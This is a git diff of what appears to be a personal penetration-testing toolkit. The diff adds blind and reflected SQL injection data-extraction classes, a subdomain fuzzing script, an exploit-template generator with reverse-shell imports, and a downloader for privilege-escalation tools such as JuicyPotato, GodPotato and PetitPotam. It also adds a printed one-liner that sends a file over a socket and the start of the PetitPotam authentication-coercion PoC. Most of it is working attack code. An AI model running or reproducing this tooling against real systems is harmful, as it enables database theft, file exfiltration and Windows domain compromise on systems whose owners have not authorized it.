if self.blind_sqli(f"({query})=0"):
|
||||
return 0
|
||||
|
||||
if not binary_search:
|
||||
cur_int = 1
|
||||
while self.blind_sqli(f"({query})>{cur_int}"):
|
||||
cur_int += 1
|
||||
|
||||
return cur_int
|
||||
else:
|
||||
min_value = 1
|
||||
max_value = 1
|
||||
|
||||
while self.blind_sqli(f"({query})>{max_value}"):
|
||||
min_value = max_value + 1
|
||||
max_value = max_value * 2
|
||||
|
||||
max_value = max_value - 1
|
||||
while True:
|
||||
cur_int = (min_value + max_value) // 2
|
||||
if self.blind_sqli(f"({query})>{cur_int}"):
|
||||
min_value = cur_int + 1
|
||||
elif self.blind_sqli(f"({query})<{cur_int}"):
|
||||
max_value = cur_int - 1
|
||||
else:
|
||||
return cur_int
|
||||
def build_query(column: str|list, table=None, condition=None, offset=None, limit=1):
|
||||
query = "SELECT "
|
||||
query += column if isinstance(column, str) else ",".join(column)
|
||||
query += "" if not table else f" FROM {table}"
|
||||
query += "" if not condition else f" WHERE {condition}"
|
||||
query += "" if limit is None else f" LIMIT {limit}"
|
||||
query += "" if offset is None or limit is None else f" OFFSET {offset}"
|
||||
return query
|
||||
|
||||
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||
@@ -55,44 +25,32 @@ class SQLi(ABC):
|
||||
|
||||
return rows
|
||||
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable):
|
||||
|
||||
if max_length is None:
|
||||
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
||||
if verbose:
|
||||
print("Fetched length:", max_length)
|
||||
|
||||
cur_str = ""
|
||||
while True:
|
||||
found = False
|
||||
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
|
||||
for c in charset:
|
||||
if self.blind_sqli(f"({query})={ord(c)}"):
|
||||
found = True
|
||||
cur_str += c
|
||||
if verbose:
|
||||
sys.stdout.write(c)
|
||||
sys.stdout.flush()
|
||||
break
|
||||
if not found or (max_length is not None and len(cur_str) >= max_length):
|
||||
break
|
||||
|
||||
if verbose:
|
||||
print()
|
||||
|
||||
return cur_str
|
||||
|
||||
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable):
|
||||
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False):
|
||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
for i in range(0, row_count):
|
||||
rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset))
|
||||
rows.append(self.extract_string(column, table, condition, i, verbose=verbose))
|
||||
|
||||
return rows
|
||||
|
||||
def substring(self, what, offset: int, size: int):
|
||||
return f"substr({what},{offset},{size})"
|
||||
|
||||
def ascii(self, what):
|
||||
return f"ascii({what})"
|
||||
|
||||
@abstractmethod
|
||||
def extract_int(self, column: str, table=None, condition=None,
|
||||
offset=None, verbose=False):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def get_database_version(self, verbose=False):
|
||||
pass
|
||||
@@ -105,10 +63,6 @@ class SQLi(ABC):
|
||||
def get_current_database(self, verbose=False):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def get_table_names(self, schema: str, verbose=False):
|
||||
pass
|
||||
@@ -117,6 +71,191 @@ class SQLi(ABC):
|
||||
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||
pass
|
||||
|
||||
class ReflectedSQLi(SQLi, ABC):
|
||||
|
||||
def __init__(self, column_types: list):
|
||||
self.column_types = column_types
|
||||
|
||||
@abstractmethod
|
||||
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
|
||||
pass
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
return int(self.extract_string(column, table, condition, offset))
|
||||
|
||||
def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False):
|
||||
if str not in self.column_types:
|
||||
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
|
||||
return None
|
||||
|
||||
str_column = self.column_types.index(str)
|
||||
query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
|
||||
query_columns[str_column] = column
|
||||
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
|
||||
|
||||
def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
|
||||
one = False
|
||||
if isinstance(columns, str):
|
||||
columns = [columns]
|
||||
one = True
|
||||
|
||||
column_count = len(columns)
|
||||
if len(self.column_types) < column_count:
|
||||
print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
|
||||
return None
|
||||
|
||||
query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
|
||||
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
column_str = ",".join(query_columns)
|
||||
for i in range(0, row_count):
|
||||
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||
if one:
|
||||
rows.append(int(row[0]))
|
||||
else:
|
||||
rows.append(list(map(lambda i: int(row[i]), range(column_count))))
|
||||
|
||||
return rows
|
||||
|
||||
def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
|
||||
one = False
|
||||
if isinstance(columns, str):
|
||||
columns = [columns]
|
||||
one = True
|
||||
|
||||
column_count = len(columns)
|
||||
if self.column_types.count(str) < column_count:
|
||||
print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
|
||||
return None
|
||||
|
||||
query_columns = list(map(str, range(1, len(self.column_types) + 1)))
|
||||
offsets = list(None for _ in range(column_count))
|
||||
offset = 0
|
||||
for i, column in enumerate(columns):
|
||||
while self.column_types[offset] != str:
|
||||
offset += 1
|
||||
offsets[i] = offset
|
||||
query_columns[offset] = column
|
||||
offset += 1
|
||||
|
||||
column_str = ",".join(query_columns)
|
||||
# todo: fix count(*) for distinct
|
||||
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
for i in range(0, row_count):
|
||||
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||
if one:
|
||||
rows.append(row[offsets[0]])
|
||||
else:
|
||||
rows.append(list(map(lambda o: row[o], offsets)))
|
||||
|
||||
return rows
|
||||
|
||||
@classmethod
|
||||
def guess_reflected_columns(cls, callback):
|
||||
data = None
|
||||
column_count = 1
|
||||
while data is None:
|
||||
query_columns = list(map(lambda c: f"'column-{c}-sqli'", range(column_count)))
|
||||
query_str = cls.build_query(query_columns)
|
||||
data = callback(query_str) # should return some kind of text for a given query
|
||||
if not data:
|
||||
column_count += 1
|
||||
continue
|
||||
|
||||
reflected_columns = []
|
||||
for c in range(column_count):
|
||||
column_name = f"'column-{c}-sqli'"
|
||||
reflected_columns.append(str if column_name in data else None) # how to guess the type (str/int)?
|
||||
|
||||
return reflected_columns
|
||||
|
||||
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
|
||||
|
||||
class BlindSQLi(SQLi, ABC):
|
||||
|
||||
@abstractmethod
|
||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||
pass
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None,
|
||||
offset=None, verbose=False, binary_search=True,
|
||||
min_value=None, max_value=None):
|
||||
|
||||
query = self.build_query(column, table, condition, offset)
|
||||
|
||||
if self.blind_sqli(f"({query})=0"):
|
||||
return 0
|
||||
|
||||
if not binary_search:
|
||||
cur_int = 1 if min_value is None else min_value
|
||||
while self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||
cur_int += 1
|
||||
if max_value is not None and cur_int >= max_value:
|
||||
return None
|
||||
|
||||
return cur_int
|
||||
else:
|
||||
if min_value is None or max_value is None:
|
||||
min_value = 1 if min_value is None else min_value
|
||||
max_value = 1 if max_value is None else max_value
|
||||
|
||||
while self.blind_sqli(f"({query})>{max_value}", verbose):
|
||||
min_value = max_value + 1
|
||||
max_value = max_value * 2
|
||||
|
||||
while True:
|
||||
cur_int = (min_value + max_value) // 2
|
||||
if self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||
min_value = cur_int + 1
|
||||
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
|
||||
max_value = cur_int - 1
|
||||
else:
|
||||
return cur_int
|
||||
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
|
||||
|
||||
if max_length is None:
|
||||
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
||||
if verbose:
|
||||
print("Fetched length:", max_length)
|
||||
|
||||
cur_str = ""
|
||||
while True:
|
||||
found = False
|
||||
cur_column = self.ascii(self.substring(column, len(cur_str) + 1, 1))
|
||||
if charset:
|
||||
query = self.build_query(cur_column, table, condition, offset)
|
||||
for c in charset:
|
||||
if self.blind_sqli(f"({query})={ord(c)}"):
|
||||
found = True
|
||||
cur_str += c
|
||||
if verbose:
|
||||
sys.stdout.write(c)
|
||||
sys.stdout.flush()
|
||||
break
|
||||
else:
|
||||
c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
|
||||
if c is not None:
|
||||
found = True
|
||||
cur_str += chr(c)
|
||||
if verbose:
|
||||
sys.stdout.write(chr(c))
|
||||
sys.stdout.flush()
|
||||
|
||||
if not found or (max_length is not None and len(cur_str) >= max_length):
|
||||
break
|
||||
|
||||
if verbose:
|
||||
print()
|
||||
|
||||
return cur_str
|
||||
|
||||
class PostgreSQLi(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
@@ -137,7 +276,6 @@ class PostgreSQLi(SQLi, ABC):
|
||||
f"table_schema='{schema}' AND table_name='{table}'",
|
||||
verbose=verbose)
|
||||
|
||||
|
||||
class MySQLi(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
return self.extract_string("VERSION()", verbose=verbose)
|
||||
@@ -156,3 +294,24 @@ class MySQLi(SQLi, ABC):
|
||||
return self.extract_multiple_strings("column_name", "information_schema.columns",
|
||||
f"table_schema='{schema}' AND table_name='{table}'",
|
||||
verbose=verbose)
|
||||
|
||||
class SQLitei(SQLi, ABC):
|
||||
def get_database_version(self, verbose=False):
|
||||
return self.extract_string("sqlite_version()", verbose=verbose)
|
||||
|
||||
def get_current_user(self, verbose=False):
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def get_current_database(self, verbose=False):
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def get_table_names(self, verbose=False):
|
||||
return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'",
|
||||
verbose=verbose)
|
||||
|
||||
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||
# TODO: we could query the "sql" column and parse it using regex
|
||||
raise Exception("Not implemented!")
|
||||
|
||||
def ascii(self, what):
|
||||
return f"unicode({what})"
|
||||
|
||||
@@ -14,13 +14,19 @@ fi
|
||||
|
||||
DOMAIN=$(echo $DOMAIN | sed -e 's|^[^/]*//||' -e 's|/.*$||')
|
||||
|
||||
|
||||
echo "[ ] Resolving IP-Address…"
|
||||
output=$(resolveip $DOMAIN 2>&1)
|
||||
status=$(echo $?)
|
||||
if ! [[ $status == 0 ]] ; then
|
||||
echo "[-] ${output}"
|
||||
exit
|
||||
if [ $# -lt 2 ]; then
|
||||
echo "[ ] Resolving IP-Address…"
|
||||
output=$(resolveip $DOMAIN 2>&1)
|
||||
status=$(echo $?)
|
||||
if ! [[ $status == 0 ]] ; then
|
||||
echo "[-] ${output}"
|
||||
exit
|
||||
fi
|
||||
IP_ADDRESS=$(echo $output | head -n 1 | awk '{print $NF}')
|
||||
echo "[+] IP-Address: ${IP_ADDRESS}"
|
||||
else
|
||||
IP_ADDRESS=$2
|
||||
echo "[+] Using IP-Address: ${IP_ADDRESS}"
|
||||
fi
|
||||
|
||||
function sni () {
|
||||
@@ -37,17 +43,15 @@ function sni () {
|
||||
echo $sni
|
||||
}
|
||||
|
||||
IP_ADDRESS=$(echo $output | head -n 1 | awk '{print $NF}')
|
||||
echo "[+] IP-Address: ${IP_ADDRESS}"
|
||||
echo "[ ] Retrieving default site…"
|
||||
rnd=$(uuidgen)
|
||||
sni=$(sni ${PROTOCOL} ${rnd}.${DOMAIN})
|
||||
charcountDomain=$(curl -s "${PROTOCOL}://${DOMAIN}" -k -m 5 | wc -m)
|
||||
charcountIpAddress=$(curl -s "${PROTOCOL}://${IP_ADDRESS}" -k -m 5 | wc -m)
|
||||
charcountNonExistent=$(curl -s "${PROTOCOL}://${rnd}.${DOMAIN}" --resolve "${sni}:${IP_ADDRESS}" -k -m 5 | wc -m)
|
||||
charcountDomain=$(curl -s "${PROTOCOL}://${DOMAIN}" -k -m 5 | wc -m)
|
||||
echo "[+] Chars: ${charcountDomain}, ${charcountIpAddress}, ${charcountNonExistent}"
|
||||
echo "[ ] Fuzzing…"
|
||||
|
||||
(set -x; ffuf --fs ${charcountDomain},${charcountIpAddress},${charcountNonExistent} --fc 400 --mc all \
|
||||
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \
|
||||
-u "${PROTOCOL}://${DOMAIN}" -H "Host: FUZZ.${DOMAIN}" "${@:2}")
|
||||
-u "${PROTOCOL}://${DOMAIN}" -H "Host: FUZZ.${DOMAIN}" "${@:2}")
|
||||
|
||||
172
template.py
172
template.py
@@ -1,18 +1,40 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
import re
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
import urllib.parse
|
||||
|
||||
def generate_template(base_url, features):
|
||||
|
||||
# we could all need that
|
||||
imports = [
|
||||
"os", "io", "re", "sys",
|
||||
"json", "time", "base64", "requests",
|
||||
"subprocess", "urllib.parse"
|
||||
]
|
||||
|
||||
partial_imports = {
|
||||
"bs4": ["BeautifulSoup"],
|
||||
"hackingscripts": ["util", "rev_shell"],
|
||||
"urllib3.exceptions": ["InsecureRequestWarning"]
|
||||
}
|
||||
|
||||
main_code = []
|
||||
methods = []
|
||||
ip_address_arg = next(filter(lambda f: re.match(r"ip_address=(.*)", f), features), None)
|
||||
ip_address = "util.get_address()" if not ip_address_arg else "'" + ip_address_arg[1] + "'"
|
||||
|
||||
variables = {
|
||||
"IP_ADDRESS": "util.get_address()",
|
||||
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"',
|
||||
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"})
|
||||
"IP_ADDRESS": ip_address,
|
||||
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"'
|
||||
}
|
||||
|
||||
if "proxies" in features or "burp" in features:
|
||||
proxy_arg = next(filter(lambda f: re.match(r"proxy=(.*)", f), features), None)
|
||||
if proxy_arg or "burp" in features:
|
||||
proxy_url = "http://127.0.0.1:8080" if not proxy_arg else proxy_arg[1]
|
||||
variables["PROXIES"] = json.dumps({"http": proxy_url, "https": proxy_url})
|
||||
proxy = """
|
||||
if \"proxies\" not in kwargs:
|
||||
kwargs[\"proxies\"] = PROXIES
|
||||
@@ -29,8 +51,8 @@ def generate_template(base_url, features):
|
||||
else:
|
||||
vhost_param = ""
|
||||
full_url = "BASE_URL + uri"
|
||||
|
||||
request_method = f"""def request(method, uri{vhost_param}, **kwargs):
|
||||
|
||||
methods.insert(0, f"""def request(method, uri{vhost_param}, **kwargs):
|
||||
if not uri.startswith("/") and uri != "":
|
||||
uri = "/" + uri
|
||||
|
||||
@@ -47,25 +69,12 @@ def generate_template(base_url, features):
|
||||
{proxy}
|
||||
url = {full_url}
|
||||
return client.request(method, url, **kwargs)
|
||||
"""
|
||||
|
||||
methods = [request_method]
|
||||
|
||||
if "login" in features or "account" in features:
|
||||
variables["USERNAME"] = '"Blindhero"'
|
||||
variables["PASSWORD"] = '"test1234"'
|
||||
methods.append("""
|
||||
def login(username, password):
|
||||
session = requests.Session()
|
||||
res = request("POST", "/login", data={"username": username, "password": password}, session=session)
|
||||
if res.status_code != 200:
|
||||
print("[-] Error logging in")
|
||||
exit()
|
||||
|
||||
return session
|
||||
""")
|
||||
|
||||
if "register" in features or "account" in features:
|
||||
main_code.append("""if not register(USERNAME, PASSWORD):
|
||||
exit(1)
|
||||
""")
|
||||
variables["USERNAME"] = '"Blindhero"'
|
||||
variables["PASSWORD"] = '"test1234"'
|
||||
methods.append("""
|
||||
@@ -78,31 +87,80 @@ def register(username, password):
|
||||
return True
|
||||
""")
|
||||
|
||||
main = """
|
||||
if "login" in features or "account" in features:
|
||||
main_code.append("""session = login(USERNAME, PASSWORD)
|
||||
if not session:
|
||||
exit(1)
|
||||
""")
|
||||
variables["USERNAME"] = '"username"'
|
||||
variables["PASSWORD"] = '"password"'
|
||||
methods.append("""
|
||||
def login(username, password):
|
||||
session = requests.Session()
|
||||
res = request("POST", "/login", data={"username": username, "password": password}, session=session)
|
||||
if res.status_code != 200:
|
||||
print("[-] Error logging in")
|
||||
exit()
|
||||
|
||||
return session
|
||||
""")
|
||||
|
||||
if "sqli" in features:
|
||||
partial_imports["hackingscripts.sqli"] = ["MySQLi", "PostgreSQLi", "BlindSQLi", "ReflectedSQLi"]
|
||||
methods.append("""
|
||||
class ReflectedSQLiPoC(MySQLi, ReflectedSQLi):
|
||||
def __init__(self):
|
||||
# TODO: specify reflected columns with their types
|
||||
super().__init__([None, str, int])
|
||||
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
|
||||
# TODO: build query and extract columns from response
|
||||
return None
|
||||
""")
|
||||
methods.append("""
|
||||
class BlindSQLiPoC(MySQLi, BlindSQLi):
|
||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||
# TODO: build query and evaluate condition
|
||||
return False
|
||||
""")
|
||||
|
||||
main_code.append("""poc = ReflectedSQLiPoC()
|
||||
print(poc.get_current_user())
|
||||
""")
|
||||
|
||||
if "http-server" in features or "file-server" in features:
|
||||
partial_imports["hackingscripts.fileserver"] = ["HttpFileServer"]
|
||||
main_code.append("""file_server = HttpFileServer("0.0.0.0", 3000)
|
||||
file_server.enableLogging()
|
||||
file_server.addRoute("/dynamic", on_request)
|
||||
file_server.addFile("/static", b"static-content")
|
||||
file_server.startBackground()
|
||||
""")
|
||||
|
||||
methods.append("""
|
||||
def on_request(req):
|
||||
# TODO: auto generated method stub
|
||||
return 200, b"", { "X-Custom-Header": "1" }
|
||||
""")
|
||||
|
||||
if len(main_code) == 0:
|
||||
main_code = ["pass"]
|
||||
|
||||
main = f"""
|
||||
if __name__ == "__main__":
|
||||
pass
|
||||
{'\n '.join(main_code)}
|
||||
"""
|
||||
|
||||
imports = "\n".join(f"import {i}" for i in sorted(imports, key=len))
|
||||
imports += "\n" + "\n".join(sorted(list(f"from {p} import {', '.join(i)}" for p, i in partial_imports.items()), key=len))
|
||||
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
||||
header = f"""#!/usr/bin/env python
|
||||
|
||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
|
||||
# https://git.romanh.de/Roman/HackingScripts
|
||||
#
|
||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)}
|
||||
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
|
||||
#
|
||||
|
||||
import os
|
||||
import io
|
||||
import re
|
||||
import sys
|
||||
import json
|
||||
import time
|
||||
import base64
|
||||
import requests
|
||||
import subprocess
|
||||
import urllib.parse
|
||||
from bs4 import BeautifulSoup
|
||||
from hackingscripts import util, rev_shell
|
||||
from hackingscripts.fileserver import HttpFileServer
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
{imports}
|
||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
{variables}
|
||||
@@ -113,14 +171,38 @@ requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <URL> [features]" % sys.argv[0])
|
||||
exit()
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Exploit Template for web attacks",
|
||||
formatter_class=argparse.RawTextHelpFormatter
|
||||
)
|
||||
|
||||
url = sys.argv[1]
|
||||
available_features = [
|
||||
"ip_address=[...]: Local IP-Address for reverse connections",
|
||||
"burp|proxy=[...]: Tunnel traffic through a given proxy or Burp defaults",
|
||||
"subdomain|vhost: Allow to specify a subdomain for outgoing requests",
|
||||
"register|account: Generate an account registration method stub",
|
||||
"login|account: Generate an account login method stub",
|
||||
"sqli: Generate an template SQL-Injection class",
|
||||
"http-server|file-server: Generate code for starting an in-memory http server"
|
||||
]
|
||||
|
||||
parser.add_argument("url", type=str, help="Target URL")
|
||||
parser.add_argument(
|
||||
"-f",
|
||||
"--features",
|
||||
nargs="*",
|
||||
type=str,
|
||||
default=[],
|
||||
help="Optional list of features:\n- " + "\n- ".join(available_features)
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
url = args.url
|
||||
if "://" not in url:
|
||||
url = "http://" + url
|
||||
|
||||
features = [] if len(sys.argv) < 3 else sys.argv[2].split(",")
|
||||
features = args.features
|
||||
template = generate_template(url, features)
|
||||
print(template)
|
||||
|
||||
|
||||
48
update.sh
48
update.sh
@@ -50,19 +50,33 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
|
||||
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
|
||||
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
|
||||
|
||||
echo ""
|
||||
echo "Updating LinPEAS + WinPEAS…"
|
||||
peas_version=$(get_latest_version carlospolop/PEASS-ng)
|
||||
peas_version=$(get_latest_version peass-ng/PEASS-ng)
|
||||
if [ ! -z "$peas_version" ]; then
|
||||
echo "Got PEAS version: $peas_version"
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/linpeas.sh linpeas.sh
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEASx86.exe win/winPEAS.exe
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEASx64.exe win/winPEASx64.exe
|
||||
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEAS.bat win/winPEAS.bat
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/linpeas.sh linpeas.sh
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEASx86.exe win/winPEAS.exe
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEASx64.exe win/winPEASx64.exe
|
||||
download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEAS.bat win/winPEAS.bat
|
||||
else
|
||||
echo "Unable to determine latest PEAS version"
|
||||
fi
|
||||
|
||||
echo "Updating Chisel…"
|
||||
# TODO: add others
|
||||
echo ""
|
||||
echo "Updating windows tools…"
|
||||
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
|
||||
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
|
||||
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
|
||||
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
|
||||
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
|
||||
|
||||
echo ""
|
||||
chisel_version=$(get_latest_version jpillora/chisel v)
|
||||
if [ ! -z "$chisel_version" ]; then
|
||||
echo "Got Chisel version: $chisel_version"
|
||||
@@ -74,19 +88,17 @@ else
|
||||
echo "Unable to determine latest chisel version"
|
||||
fi
|
||||
|
||||
# TODO: add others
|
||||
echo "Updating windows tools…"
|
||||
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
|
||||
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
|
||||
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
|
||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
|
||||
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
|
||||
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
|
||||
|
||||
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
|
||||
if [ ! -z "$sharphound_version" ]; then
|
||||
echo "Got Chisel version: $sharphound_version"
|
||||
echo "Got Sharphound version: $sharphound_version"
|
||||
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
|
||||
fi
|
||||
|
||||
socat_version=$(get_latest_version "3ndG4me/socat" v)
|
||||
if [ ! -z "$socat_version" ]; then
|
||||
echo "Got socat version: $socat_version"
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
|
||||
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
|
||||
fi
|
||||
@@ -46,6 +46,7 @@ if __name__ == "__main__":
|
||||
|
||||
print("[+] Now listening, download file using:")
|
||||
print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
|
||||
print('python -c \'import socket;sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0);sock.connect(("%s",%d));sock.sendall(open("%s","rb").read())\'' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
|
||||
print()
|
||||
|
||||
serve_file(listen_sock, path, forever=True)
|
||||
|
||||
3
util.py
3
util.py
@@ -135,6 +135,9 @@ def assert_json_path(res, path, value, err=None):
|
||||
|
||||
json_data = json.loads(res.text)
|
||||
for key in filter(None, path.split(".")):
|
||||
match = re.match(r"\[([0-9]+)\]", key)
|
||||
if match:
|
||||
key = int(match[1])
|
||||
json_data = json_data[key]
|
||||
|
||||
if json_data == value:
|
||||
|
||||
461
win/PetitPotam.py
Normal file
461
win/PetitPotam.py
Normal file
@@ -0,0 +1,461 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Author: GILLES Lionel aka topotam (@topotam77)
|
||||
#
|
||||
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
|
||||
# "Most of" the code stolen from dementor.py from @3xocyte ;)
|
||||
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
show_banner = '''
|
||||
|
||||
___ _ _ _ ___ _
|
||||
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
|
||||
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
|
||||
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
|
||||
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
|
||||
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
|
||||
|
||||
PoC to elicit machine account authentication via some MS-EFSRPC functions
|
||||
by topotam (@topotam77)
|
||||
|
||||
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
|
||||
|
||||
|
||||
'''
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
